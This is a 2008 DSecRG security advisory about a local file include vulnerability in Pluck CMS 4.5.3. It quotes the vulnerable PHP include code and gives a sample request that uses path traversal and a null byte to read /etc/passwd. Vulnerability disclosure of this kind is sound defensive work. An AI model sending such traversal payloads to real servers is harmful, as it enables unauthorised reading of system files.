[DSECRG-08-039] Local File Include Vulnerability in Pluck CMS 4.5.3

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Digital Security Research Group [DSecRG] Advisory #DSECRG-08-039

Application: Pluck CMS
Versions Affected: 4.5.3
Vendor URL: http://www.pluck-cms.org/
Bug: Local File Include
Exploits: YES
Reported: 25.08.2008
Vendor Response: 30.08.2008
Solution: YES
Date of Public Advisory: 18.11.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)

Description
***********

Pluck CMS has Local File Include vulnerability.

Details
*******

1. Local File Include vulnerability found in script data/inc/lib/pcltar.lib.php

Successful exploitation requires that "register_globals" is enabled.

Code

----
#################################################
  if (!isset($g_pcltar_lib_dir))
    $g_pcltar_lib_dir = "lib";
...
  $g_pcltar_extension = "php";
  if (!defined("PCLERROR_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pclerror.lib.$g_pcltar_extension");
  }
  if (!defined("PCLTRACE_LIB"))
  {
    include("data/inc/$g_pcltar_lib_dir/pcltrace.lib.$g_pcltar_extension");
  }
#################################################
Example:
http://[server]/[installdir]/data/inc/lib/pcltar.lib.php?g_pcltar_lib_dir=../../../../../../../../../../../../../etc/passwd%00
Solution
********
Vendor fix this flaw on 09.08.2008. New version of Pluck CMS 4.6 can be download here:
http://www.pluck-cms.org/downloads/click.php?id=8
About
*****
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.
Contact:    research [at] dsec [dot] ru
            http://www.dsec.ru (in Russian)